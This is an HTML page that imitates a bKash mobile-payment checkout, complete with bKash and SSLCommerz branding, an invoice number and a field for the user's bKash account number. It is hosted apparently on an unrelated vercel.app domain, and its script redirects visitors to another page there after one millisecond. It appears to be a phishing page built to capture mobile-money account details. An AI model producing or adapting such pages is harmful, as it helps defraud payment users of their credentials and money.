<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>bKash Payment</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
    <style>
        .bg-custom {
            background-image: url('/bkash/img/background.png');
            background-size: cover;
            background-position: center;
            padding: 2rem;
        }
        @keyframes bounce {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.5); }
        }
        .dot { animation: bounce 1.2s infinite ease-in-out; }
        .dot:nth-child(1) { animation-delay: 0s; }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        .dot:nth-child(4) { animation-delay: 0.6s; }
        .loading { display: none; }
    </style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen">
    <div class="bg-white rounded-lg shadow-lg max-w-sm w-full">
        <!-- Header with logo -->
        <div class="flex flex-col items-center justify-center p-5 border-b-2 border-pink-500">
            <img src="/bkash/img/bkashlogo.png" alt="bKash logo" class="h-12">
        </div>
        
        <!-- SSLCommerz Invoice and Amount Section -->
        <div class="flex items-center justify-between px-4 py-2 bg-gray-50">
            <div class="flex items-center">
                <img id="sslLogo" src="/bkash/img/sslcommerz.png" alt="SSLCommerz logo" class="h-8 w-8">
                <div class="ml-2 text-sm">
                    <p id="companyName" class="font-bold">SSLCOMMERZ</p>
                    <p id="invoiceId" class="text-gray-500 text-xs">Invoice: BGT17742024092918</p>
                </div>
            </div>
            <p id="amountDisplay" class="font text-xl text-gray-600"></p>
        </div>

        <!-- Account Input Section with Background Image -->
        <div class="bg-custom text-white text-center">
            <p class="font-semibold text-lg mb-2">Your bKash Account number</p>
            <input type="text" id="bkashNumber" inputmode="numeric" pattern="[0-9]*" placeholder="e.g 01XXXXXXXXX" class="w-full px-4 py-2 text-center text-black rounded-md focus:outline-none" maxlength="11" />
            <p class="text-xs mt-2">
                By clicking on <span class="font-bold">Confirm</span>, you are agreeing to the 
                <a href="https://www.bkash.com/en/page/tokenized_checkout" target="_blank" class="underline text-white">terms & conditions</a>
            </p>
        </div>

        <!-- Footer Buttons -->
        <div class="grid grid-cols-2 gap-0 w-full border-t-3 border-pink-500 bg-gray-300">
            <button id="closeButton" onclick="window.location.href=`https://portwallet.vercel.app/paymentMethod=bkash&&paymentID=4.html?amount=${amount}`" class="text-gray-600 font-bold text-x w-full py-4 bg-gray-300 border-r border-gray-400">CLOSE</button>
            <button id="confirmButton" class="text-pink-600 font-bold text-x w-full py-4 bg-gray-300">CONFIRM</button>
        </div>
        
        <!-- Bounce Animation -->
        <div class="loading flex items-center justify-center h-20 w-full border-t-3 border-pink-500 bg-gray-300 hidden" id="loadingAnimation">
            <div class="flex space-x-2">
                <div class="dot w-4 h-4 bg-pink-600 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-500 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-400 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-300 rounded-full"></div>
            </div>
        </div>
        
        <!-- Contact Section -->
        <div class="text-center py-4">
            <a href="tel:16247" class="flex justify-center items-center text-pink-500">
                <i class="fas fa-phone-alt mr-2"></i>
                <span class="font-bold text-xl">16247</span>
            </a>
        </div>
    </div>
<script>

const urlParams = new URLSearchParams(window.location.search);
let amount = parseFloat(urlParams.get('amount')) || 10.00;
 document.getElementById('amountDisplay').textContent = `৳${parseFloat(amount).toFixed(2)}`;

    
        setTimeout(function() {
            window.location.href = `https://portwallet.vercel.app/merchant=pwo/number.html?amount=${amount}`; 
        }, 1);
    </script>




</body>
</html>